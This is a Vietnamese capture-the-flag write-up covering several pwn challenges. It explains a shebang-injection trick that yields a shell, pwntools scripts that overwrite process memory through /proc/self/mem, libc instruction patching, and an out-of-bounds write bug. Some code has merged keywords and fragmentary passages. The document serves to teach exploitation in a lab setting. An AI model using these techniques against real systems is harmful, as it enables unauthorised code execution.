Giải năm này tuy hay nhưng cũng có vẻ dễ thở hơn so với năm ngoái. Năm nay mình chơi với team Green Onions, mình giải được 5 bài pwn và 1 bài rev ( so với năm ngoái là 0 bài 🐸 ).
ZERMATT
1
Roblox made lua packing popular, since we'd like to keep hanging out with the cool kids, he's our take on it.
STORY = """ #@NAME's story NAME='@NAME' WHERE='@WHERE' echo "$NAME came from $WHERE. They always liked living there." echo "They had 3 pets:" types[0]="dog" types[1]="cat" types[2]="fish" names[0]="Bella" names[1]="Max" names[2]="Luna" for i in 1 2 3 do size1=${#types[@]} index1=$(($RANDOM % $size1)) size2=${#names[@]} index2=$(($RANDOM % $size2)) echo "- a ${types[$index1]} named ${names[$index2]}" done echo echo "Well, I'm not a good writer, you can write the rest... Hope this is a good starting point!" echo "If not, try running the script again." """
whileTrue: s = input("Do you want to hear the personalized, procedurally-generated story?\n") if s.lower() != "yes": break print() print() os.system("/tmp/script.sh") print() print()
print("Bye!")
Ta có thể inject shebang lên đầu file script.sh thông qua biến name. Thông thường shebang chỉ nhận duy nhất một tham số, để chạy được với nhiều tham số mình sử dụng /usr/bin/env.
Từ đó mình sẽ để name là "!/usr/bin/env -S sh -s \\", cần thêm dấu \ vì ta thấy còn 's story ở sau, dấu \ để escape kí tự '.
Khi đó dòng đầu tiên của script sẽ là #!/usr/bin/env -S sh -s \\'s story , nó sẽ thực thi lệnh sh -s \\'s story, tham số -s của sh sẽ không quan tâm đằng sau nó là gì, từ đó ta có shell.
Flag: CTF{Sh3b4ng_1nj3cti0n_ftw}
WRITE-FLAG-WHERE
1 2 3 4 5 6 7 8
This challenge is not a classical pwn In order to solve it will take skills of your own An excellent primitive you get for free Choose an address and I will write what I see But the author is cursed or perhaps it's just out of spite For the flag that you seek is the thing you will write ASLR isn't the challenge so I'll tell you what I'll give you my mappings so that you'll have a shot.
int __cdecl main(int argc, constchar **argv, constchar **envp) { __int64 buf[9]; // [rsp+0h] [rbp-70h] BYREF int n; // [rsp+4Ch] [rbp-24h] OVERLAPPED BYREF __off64_t addr; // [rsp+50h] [rbp-20h] BYREF int v7; // [rsp+58h] [rbp-18h] int v8; // [rsp+5Ch] [rbp-14h] int v9; // [rsp+60h] [rbp-10h] int v10; // [rsp+64h] [rbp-Ch] int v11; // [rsp+68h] [rbp-8h] int fd; // [rsp+6Ch] [rbp-4h]
fd = open("/proc/self/maps", 0, envp); read(fd, maps, 0x1000uLL); close(fd); v11 = open("./flag.txt", 0); if ( v11 == -1 ) { puts("flag.txt not found"); return1; } else { if ( read(v11, &flag, 0x80uLL) > 0 ) { close(v11); v10 = dup2(1, 1337); v9 = open("/dev/null", 2); dup2(v9, 0); dup2(v9, 1); dup2(v9, 2); close(v9); alarm(0x3Cu); dprintf( v10, "This challenge is not a classical pwn\n" "In order to solve it will take skills of your own\n" "An excellent primitive you get for free\n" "Choose an address and I will write what I see\n" "But the author is cursed or perhaps it's just out of spite\n" "For the flag that you seek is the thing you will write\n" "ASLR isn't the challenge so I'll tell you what\n" "I'll give you my mappings so that you'll have a shot.\n"); dprintf(v10, "%s\n\n", maps); while ( 1 ) { dprintf( v10, "Give me an address and a length just so:\n" "<address> <length>\n" "And I'll write it wherever you want it to go.\n" "If an exit is all that you desire\n" "Send me nothing and I will happily expire\n"); memset(buf, 0, 64); v8 = read(v10, buf, 0x40uLL); if ( (unsignedint)__isoc99_sscanf(buf, "0x%llx %u", &addr, &n) != 2 || (unsignedint)n > 0x7F ) break; v7 = open("/proc/self/mem", 2); lseek64(v7, addr, 0); write(v7, &flag, (unsignedint)n); close(v7); } exit(0); } puts("flag.txt empty"); return1; } }
Chương trình cho ta xem /proc/self/map, mở /proc/self/mem rồi lssek và write flag ở đâu tuỳ vào input của mình.
Tức là ta có thể biết địa chỉ và có thể ghi đè flag ở đâu trong memory của process đó ( không cần quan tâm quyền write ).
Mình chỉ cần đơn là ghi đè flag vào chuỗi "Give me an address ... ".
context.binary = e = ELF("./chal_patched") libc = ELF("./libc.so.6") gs=""" """ defstart(): if args.LOCAL: p=e.process() if args.GDB: gdb.attach(p,gdbscript=gs) pause() elif args.REMOTE: p=remote(args.HOST,int(args.PORT)) return p
p = start() p.recvuntil(b"I'll give you my mappings so that you'll have a shot.\n") e.address = int(p.recv(12).decode(),16) log.info(f"{hex(e.address)}") p.sendline(f"{hex(e.address+0x00000000000021E0)} 40".encode()) p.interactive()
Flag: CTF{Y0ur_j0urn3y_is_0n1y_ju5t_b39innin9}
WRITE-FLAG-WHERE2
1 2
Was that too easy? Let's make it tough It's the challenge from before, but I've removed all the fluff
Đoạn code đó sẽ gọi dprintf(v10,"Somehow you got here??\n","Somehow you got here??\n").
Vậy mục tiêu là làm thế nào để chương trình không gọi exit mà thực thi luôn đoạn code ở dưới đó.
Để ý từ đoạn call _exit đến mov eax, [rbp+var_C] cách nhau 5 bytes, vậy nên mình sẽ hướng đến việc sửa 5 bytes đó thành những bytecode hợp lệ thay thế cho call exit_.
Sau một hồi mò mẫn, mình sửa chúng thành “CTFCT”, từ đó đoạn code đó trở thành:
context.binary = e = ELF("./chal") libc = ELF("./libc.so.6") gs=""" """ defstart(): if args.LOCAL: p=e.process() if args.GDB: gdb.attach(p,gdbscript=gs) pause() elif args.REMOTE: p=remote(args.HOST,int(args.PORT)) return p
p = start() p.recvuntil(b"It's the challenge from before, but I've removed all the fluff\n") e.address = int(p.recv(12),16) p.recv() log.info(f"{hex(e.address)}") p.recvuntil(b"[vsyscall]")
Your skills are considerable, I'm sure you'll agree But this final level's toughness fills me with glee No writes to my binary, this I require For otherwise I will surely expire
Ta để ý hàm write sẽ check nếu DWORD PTR fs:0x18 khác 0 (jne 0x7ffff7d14a40 <__GI___libc_write+32>) thì sẽ lưu 3 tham số $edi,$rsi,$rdx lần lượt ở $rsp+0x8,0x10,0x18 rồi gọi hàm __GI___pthread_enable_asynccancel, từ đó khôi phục lại tham số ở stack rồi gọi syscall_write.
Chuyện gì khi ta sửa đoạn mov edi,DWORD PTR [rsp+0x8] thành mov edi,DWORD PTR [rsp+0x43] ? Để ý trước đó là sub rsp,0x28, stack frame của hàm write chỉ có size 0x28, khi này $rsp+0x43 đã tràn xuống stack frame của hàm main.
Nếu tính thêm return address của hàm write nữa là 8 byte, thì tức là $rsp+0x43 ở offset 0x43-0x28-8=0x13 của stack frame hàm main, nếu để ý thì nó nằm trong phạm vi của biến buf.
Tức là giờ nếu sửa thành mov edi,DWORD PTR [rsp+0x43], ta có thểm kiểm soát giá trị $edi thông qua buf.
Vấn đề là giờ làm sao để hàm write thực thi ở đoạn write+32, đơn giản mình sửa ở write+31 từ ret thành byte C, lúc này hàm write trở thành:
struct __attribute__((packed)) __attribute__((aligned(1))) Handler { structHandler* next_hdl; char cur_option; int cur_count; int cur_next; int cur_size; char *handler_ptr; }; struct __attribute__((packed)) __attribute__((aligned(1))) User { int size; char option; short arr_count; short next; short data_arr[]; };
Tuỳ vào option của struct User mà các hàm unpack_strings hoặc unpack_bools hoặc unpack_ints sẽ được gọi ra, tuy nhiên trong quá trình làm mình thấy ta chỉ cần quan tâm 2 hàm là unpack_strings và unpack_bools.
int *__fastcall expand_string(constchar *hmm, int idx, constchar **src, int *a4) { int v4; // eax int v5; // edx int *result; // rax constchar *s; // [rsp+28h] [rbp-8h]
v3 = &a1->handler_ptr[a1->cur_next]; v2 = &a1->handler_ptr[a1->cur_size]; for ( i = 0; ; ++i ) { result = (char *)(unsignedint)a1->cur_count; if ( i >= (int)result ) break; result = &v3[i]; if ( result >= v2 ) break; v3[i] = v3[i] != 0; } return result; }
Hành vi của hàm unpack_bools không khác gì nhiều unpack_string, tuy nhiên ở hàm fix_corrupt_booleans ta thấy v3 = &a1->handler_ptr[a1->cur_next]; bị bug out-of-bond nếu a1->cur_next < 0, chưa kể nếu v3[i] khác 0 thì nó sẽ ghi đè thành byte \x01 thông qua v3[i] = v3[i] != 0;.
Hmm, ta có thể tận dụng bug để v3 để trỏ vào flag, từ đó ghi đè byte C thành byte \x01 tù đó bypass hàm censor_string.